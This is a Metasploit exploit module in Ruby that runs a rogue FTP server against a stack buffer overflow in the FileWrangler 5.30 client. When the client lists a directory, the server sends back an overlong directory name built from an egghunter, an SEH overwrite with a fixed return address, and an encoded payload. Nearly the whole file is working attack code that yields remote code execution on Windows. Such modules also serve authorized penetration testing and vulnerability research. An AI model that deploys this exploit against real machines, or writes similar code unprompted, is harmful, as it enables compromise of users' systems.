##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FileWrangler 5.30 Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the FileWrangler client
          that is triggered when the client connects to a FTP server and lists
          the directory contents, containing an overly long directory name.
        },
        'Author' => [
          'nullthreat', # found bug
          'corelanc0d3r <peter.ve[at]corelan.be>' # wrote the exploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-20045' ],
          [ 'OSVDB', '94555' ],
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
        },
        'Payload' => {
          'Space' => 3000,
          'BadChars' => "\x00\x0d\x1a\x2a\x51",
          'StackAdjustment' => -5000,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows Universal', { 'Offset' => 4082, 'Ret' => 0x0042BE63 } ], # ppr [wrangler.exe]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-10-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def setup
    super
  end

  def on_client_unknown_command(c, cmd, arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_list(c, arg)
    conn = establish_data_connection(c)
    if (not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end
    print_status(" - Data connection set up")
    code = 150
    c.put("#{code} Here comes the directory listing.\r\n")
    code = 226
    c.put("#{code} Directory send ok.\r\n")

    # create the egg hunter
    print_status(" - Creating the Egg Hunter")
    badchars = ""
    eggoptions =
      {
        :checksum => true,
        :eggtag => "W00T"
      }

    hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)

    # create hunter
    predator = "\x90" * 42
    predator << hunter

    # create the crash payload
    crash = rand_text_alpha(target['Offset'] - (egg.length + predator.length))

    # Set nseh to jump back 50 (before egghunter)
    jmp = "\x90" * 5 + "\xE9\xC9\xFF\xFF\xFF"
    nseh = "\xEB\xF9\x90\x90" # NSEH
    seh = [target.ret].pack('V')

    print_status(" - Building the Buffer")
    buffer = crash + egg + predator + jmp + nseh + seh
    strfolder = buffer + "B" * (5000 - buffer.length) # make sure it dies

    print_status(" - Sending directory list via data connection")
    dirlist = "drwxrwxrwx    1 100      0           11111 Jun 11 21:10 #{strfolder}\r\n"
    conn.put(dirlist)
    conn.close
    print_status(" - Waiting for egghunter...")
    return
  end
end